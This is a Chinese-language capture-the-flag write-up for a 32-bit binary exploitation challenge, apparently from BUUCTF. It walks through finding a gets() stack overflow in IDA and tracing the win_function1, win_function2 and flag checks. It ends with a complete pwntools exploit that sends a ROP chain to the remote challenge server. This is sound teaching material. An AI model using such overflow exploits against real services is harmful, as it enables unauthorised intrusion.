<1> 查看保护机制
只开启了NX保护
<2>IDA反汇编
双击进入vuln函数
发现gets函数存在栈溢出漏洞,可以构造ROP链。
SHIFT+F12查看Strings
发现flag.txt,双击跟进
观察程序,s中存有flag.txt的前48位,包含完整的flag。
只要使得win1=1,win2=1,a1=0xDEADBAAD(ida可将十进制转化为十六进制)即可输出s。(此处注意==的优先级高于&&)
运算符优先级:! > 算术运算符 > 关系运算符 > && > || > 赋值运算符
双击win1跟进
可知win_function1函数将win赋值为1
双击win2跟进
发现win_function2函数 ,参数为a1,使得a1=0xBAAAAAAD即可。
在flag函数中,a1为其参数,使得其为0xDEADBAAD即可输出flag。
完整EXP
from pwn import*
context(arch='i386',log_level='debug')
p=remote('node4.buuoj.cn',25674)
elf=ELF('./1')
flag_addr=elf.symbols['flag']
win1_addr=elf.symbols['win_function1']
win2_addr=elf.symbols['win_function2']
win2=0xBAAAAAAD
flag=0xDEADBAAD
payload=b'M'*(0x18+4)+p32(win1_addr)+p32(win2_addr)+p32(flag_addr)+p32(win2)+p32(flag)
p.sendlineafter('Enter your input> ',payload)
p.interactive()